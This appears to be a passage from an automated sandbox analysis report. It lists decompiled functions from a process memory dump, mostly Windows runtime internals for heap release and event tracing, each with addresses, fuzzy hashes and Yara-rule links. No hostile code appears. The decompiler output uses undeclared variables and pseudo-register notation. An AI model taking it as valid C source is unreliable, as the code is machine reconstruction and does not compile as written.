0x02dbc468
0x02dbc469
0x02dbc46a
0x02dbc46b
0x02dbc46e
0x02dbc46f
0x02dbc471
0x02dbc476
0x02dbc476
0x02dbc47c
0x02dbc47e
0x02dbc480
0x02dbc480
0x02dbc483
0x02dbc484
0x02dbc486
0x02dbc488
0x02dbc48f
0x02dbc491
0x02dbc493
0x02dbc493
0x02dbc48f
0x02dbc498
0x02dbc49e
0x02dbc4ad
0x02dbc4ad
0x02dbc4b2
0x02dbc4b4
0x02dbc4cd

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: ab15bed4d4d3ad5fd0338a2f7ffa79b36a10518b42323247249b3c6e3cb347ea
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: F2019E72240505FFE722AF65CCA4EA2F76EFF54394F004526F21442660CB32ECA1CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 02DF4015, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E02DF4015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E02D42280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E02D42280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x2e186ac);
					E02D2F900(0x2e186d4, _t28);
					E02D3FFB0(0x2e186ac, _t28, 0x2e186ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E02D3FFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x02df401a
0x02df401e
0x02df4023
0x02df4028
0x02df4029
0x02df402b
0x02df402f
0x02df4043
0x02df4046
0x02df4051
0x02df4057
0x02df405f
0x02df4062
0x02df4067
0x02df406f
0x02df407c
0x02df407c
0x02df408c
0x02df408c
0x02df4097

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44796cd537820be24b20ceec0ebe5ff4364a8562aef12206e73b728fd856ed9e
Instruction ID: 41d6df7be67b81fe6a93b497636f126543a003534d2dddfa3c9ff1eb735d490a
Opcode Fuzzy Hash: 44796cd537820be24b20ceec0ebe5ff4364a8562aef12206e73b728fd856ed9e
Instruction Fuzzy Hash: 2D018F726419457FE251AB69CD84E17B7ADEB45764F000629FA0883B61CB24EC11CAF4

Uniqueness

Uniqueness Score: -1.00%

Function 02DE138A, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E02DE138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x2e1d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E02D6FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E02D47D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x02de138a
0x02de138a
0x02de1399
0x02de13a3
0x02de13a8
0x02de13aa
0x02de13b5
0x02de13bb
0x02de13c3
0x02de13c6
0x02de13c9
0x02de13d4
0x02de13e6
0x02de13d6
0x02de13df
0x02de13df
0x02de13f1
0x02de13f2
0x02de13f4
0x02de13f9
0x02de140e

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 162737a948290147d934eea4faadd478cb131469e0a731c38ceb04deb1887bbe
Instruction ID: c334aee86c0a4a7c241886f9ee5ef016e12d0cc77f0d16d398c6111ac74471e0
Opcode Fuzzy Hash: 162737a948290147d934eea4faadd478cb131469e0a731c38ceb04deb1887bbe
Instruction Fuzzy Hash: 36018C71A00218AFCB00EFA9D845AAEBBB8EF44700F004066B905EB380DA70DE00CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02DE14FB, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E02DE14FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x2e1d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E02D6FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E02D47D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x02de14fb
0x02de14fb
0x02de150a
0x02de1514
0x02de1519
0x02de151b
0x02de1526
0x02de152c
0x02de1534
0x02de1537
0x02de153a
0x02de1545
0x02de1557
0x02de1547
0x02de1550
0x02de1550
0x02de1562
0x02de1563
0x02de1565
0x02de156a
0x02de157f

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8acfe68c5a86c31745dd6d069969f7d6b834c1f74437086e052f29b40a52445
Instruction ID: 6062382645e33d838e6f0ee46e652ff162e0801a1091a8d53480943ffb5046e7
Opcode Fuzzy Hash: c8acfe68c5a86c31745dd6d069969f7d6b834c1f74437086e052f29b40a52445
Instruction Fuzzy Hash: 5A01B571A00258AFCB00EFA9D845FAEB7B8EF44700F404066F915EB380DA70DE00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02DDFEC0, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E02DDFEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x2e1d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E02D6FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E02D47D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x02ddfec0
0x02ddfec0
0x02ddfecf
0x02ddfed9
0x02ddfede
0x02ddfee0
0x02ddfeeb
0x02ddfef3
0x02ddfef6
0x02ddfef9
0x02ddff04
0x02ddff16
0x02ddff06
0x02ddff0f
0x02ddff0f
0x02ddff21
0x02ddff22
0x02ddff24
0x02ddff29
0x02ddff3e

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00436a66a62816bc8c1769a9f7785768e384a6c99abc8db06ce67db5edf8c9ef
Instruction ID: f44535e6cd581b1b14ef099547ab5b3edb5d8159e33678180a3c2caebdaed470
Opcode Fuzzy Hash: 00436a66a62816bc8c1769a9f7785768e384a6c99abc8db06ce67db5edf8c9ef
Instruction Fuzzy Hash: 8F017C71A00618AFDB14DFA9D845BAEBBB8EB44700F404066F901EB390EA719E01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02DDFE3F, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E02DDFE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x2e1d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E02D6FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E02D47D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x02ddfe3f
0x02ddfe3f
0x02ddfe4e
0x02ddfe58
0x02ddfe5d
0x02ddfe5f
0x02ddfe6a
0x02ddfe72
0x02ddfe75
0x02ddfe78
0x02ddfe83
0x02ddfe95
0x02ddfe85
0x02ddfe8e
0x02ddfe8e
0x02ddfea0
0x02ddfea1
0x02ddfea3
0x02ddfea8
0x02ddfebd

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475b046d2707942c9f70a6d5e2669ce16f7d3fa01a7d821bdb9e603ea3d554d0
Instruction ID: 2a1a6d4857f9e5668ce49aae7c5435835da8ce188f6c685f0f30fab747e5c89b
Opcode Fuzzy Hash: 475b046d2707942c9f70a6d5e2669ce16f7d3fa01a7d821bdb9e603ea3d554d0
Instruction Fuzzy Hash: 8F017C71A04258AFDB14DFA9D845FAEBBB9EF44704F004066F905EB391DA719E01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02DF1074, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02DF1074(void* __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E02DF165E(__ebx, 0x2e18ae4, (__edx -  *0x2e18b04 >> 0x14) + (__edx -  *0x2e18b04 >> 0x14), __edi, __ecx, (__edx -  *0x2e18b04 >> 0x14) + (__edx -  *0x2e18b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E02DEAFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E02D47D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E02DDFE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}

0x02df1074
0x02df1080
0x02df1082
0x02df108a
0x02df108f
0x02df1093
0x02df10ab
0x02df10ab
0x02df10c3
0x02df10cf
0x02df10e1
0x02df10d1
0x02df10da
0x02df10da
0x02df10e9
0x02df10f5
0x02df10f5
0x02df10fe

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b789e04c3ec03aec39ed42043187e43a6d3ed35e433d5804ef2f9be5b2806e7f
Instruction ID: a9501fceb5fbc227b3876934dc7be79728b8169c4c506e1a9b0f4074b9e654f4
Opcode Fuzzy Hash: b789e04c3ec03aec39ed42043187e43a6d3ed35e433d5804ef2f9be5b2806e7f
Instruction Fuzzy Hash: 7D012472504781DFC750EF28C940B1AB7E6EB84314F058A29F98A93B90EF30DC40CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 02D3B02A, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D3B02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E02D47D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E02DA7016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x02d3b037
0x02d3b039
0x02d3b03b
0x02d3b040
0x02d8a60e
0x00000000
0x00000000
0x02d8a61d
0x02d3b04b
0x02d3b04e
0x02d8a627
0x02d8a634
0x00000000
0x00000000
0x02d8a641
0x02d8a653
0x02d8a643
0x02d8a64c
0x02d8a64c
0x02d8a65b
0x00000000
0x00000000
0x00000000
0x02d8a66c
0x02d3b057
0x02d3b057
0x02d3b057
0x02d3b046
0x02d3b046
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: 23e5b7eed3fb1978e21e3db4d79d9686a49a76c6cd64999cbdfefe730bdaca9a
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: B0017C322049809FD322971DC988F6A77E8EB86758F1900A2E919CBB95D778DC40CA20

Uniqueness

Uniqueness Score: -1.00%

Function 02DF8ED6, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E02DF8ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x2e1d360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E02D47D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x02df8ed6
0x02df8ee5
0x02df8eed
0x02df8ef0
0x02df8efa
0x02df8f03
0x02df8f0c
0x02df8f15
0x02df8f24
0x02df8f27
0x02df8f31
0x02df8f43
0x02df8f33
0x02df8f3c
0x02df8f3c
0x02df8f4e
0x02df8f4f
0x02df8f51
0x02df8f56
0x02df8f69

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e625e00eb790532576a50cbfbdb41f36b8247226d8543a0493a1e64fa45f702
Instruction ID: dc45ebb467acbca5d8df2b8e6da1e038413265d27473e5a25c2dda2ec3bc6b8f
Opcode Fuzzy Hash: 8e625e00eb790532576a50cbfbdb41f36b8247226d8543a0493a1e64fa45f702
Instruction Fuzzy Hash: A0110C70A002599FDB44DFA9D445BAEF7F4FF08300F0442AAE518EB381E6349A40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02DF8A62, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E02DF8A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x2e1d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E02D47D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E02D6B640(E02D69AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x02df8a62
0x02df8a71
0x02df8a79
0x02df8a82
0x02df8a85
0x02df8a89
0x02df8a8c
0x02df8a8f
0x02df8a92
0x02df8a95
0x02df8a9f
0x02df8ab1
0x02df8aa1
0x02df8aaa
0x02df8aaa
0x02df8abc
0x02df8abd
0x02df8abf
0x02df8ac4
0x02df8ada

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e908c68d8427f2011528e45f560bd195276510909b638311a6fa22ed086f8a4
Instruction ID: 640c18bf9e91945b8fefd7a834c995e01851694874a77aecc9fd6096afb2ab0d
Opcode Fuzzy Hash: 4e908c68d8427f2011528e45f560bd195276510909b638311a6fa22ed086f8a4
Instruction Fuzzy Hash: 36011A71A04218AFCB00DFA9D9459AEB7B8EF48310F10405AFA04E7341DB34AE00CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02D2DB60, Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D2DB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E02D2DB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E02D2E7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L02D2E8B0(__ecx, _t14, 0xfff);
							L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x02d2db64
0x02d2db66
0x02d2db6b
0x02d2dbaa
0x02d2db71
0x02d2db76
0x02d2db7a
0x02d2dba3
0x02d2db7c
0x02d2db87
0x02d2db8b
0x02d84fa1
0x02d84fb3
0x02d84fb8
0x02d2db91
0x02d2db96
0x02d2db98
0x02d2db98
0x02d2db8b
0x02d2db7a
0x02d2db9d
0x02d2dba2

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: 2731ec1f21ae52eee0002e585c6ad093fdaf2956ada168c5905773c6d226b57b
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: BAF0FC332055329BD3326A5588A0F67B6B7DFE2B68F150075F2059B344CE70CC06CAE0

Uniqueness

Uniqueness Score: -1.00%

Function 02D2B1E1, Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D2B1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E02D47D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E02D47D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E02DA7016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x02d2b1e8
0x02d2b1ea
0x02d2b1f3
0x02d84a17
0x02d2b1f9
0x02d2b1f9
0x02d2b1f9
0x02d2b201
0x02d84a21
0x02d84a2e
0x00000000
0x00000000
0x02d84a3b
0x02d84a4d
0x02d84a3d
0x02d84a46
0x02d84a46
0x02d84a55
0x00000000
0x00000000
0x00000000
0x02d2b20a
0x02d2b20a
0x02d2b20a
0x02d2b20a

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: 0e0e02f57b99ea7b6a087cc91b8dc634f4f8b854b26aee2b12e7c2241ae56bb8
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: E401A432244690DBD322A75DC804F69BB99EF6175CF0944A2F9548B7B1DBB9CC00D725

Uniqueness

Uniqueness Score: -1.00%

Function 02DBFE87, Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E02DBFE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x2e1d360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E02D47D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x02dbfe96
0x02dbfe9e
0x02dbfea1
0x02dbfead
0x02dbfeb3
0x02dbfeb9
0x02dbfec3
0x02dbfed5
0x02dbfec5
0x02dbfece
0x02dbfece
0x02dbfee0
0x02dbfee1
0x02dbfee3
0x02dbfee8
0x02dbfefb

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89ce5cb74dbad033b94e394bdbcfaa3a865c48cfd960b795192f9e7803d6f69a
Instruction ID: 2ec45b5d85e7f9df419591e4492a813ec77dcc278cc8d084c8829b855db94efc
Opcode Fuzzy Hash: 89ce5cb74dbad033b94e394bdbcfaa3a865c48cfd960b795192f9e7803d6f69a
Instruction Fuzzy Hash: 7D016274A00208EFCB14DFA9D955AAEB7F4EF04304F104569B519EB382DA35DE01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02DF8F6A, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E02DF8F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x2e1d360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E02D47D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x02df8f6a
0x02df8f79
0x02df8f81
0x02df8f84
0x02df8f8b
0x02df8f91
0x02df8f94
0x02df8f9e
0x02df8fb0
0x02df8fa0
0x02df8fa9
0x02df8fa9
0x02df8fbb
0x02df8fbc
0x02df8fbe
0x02df8fc3
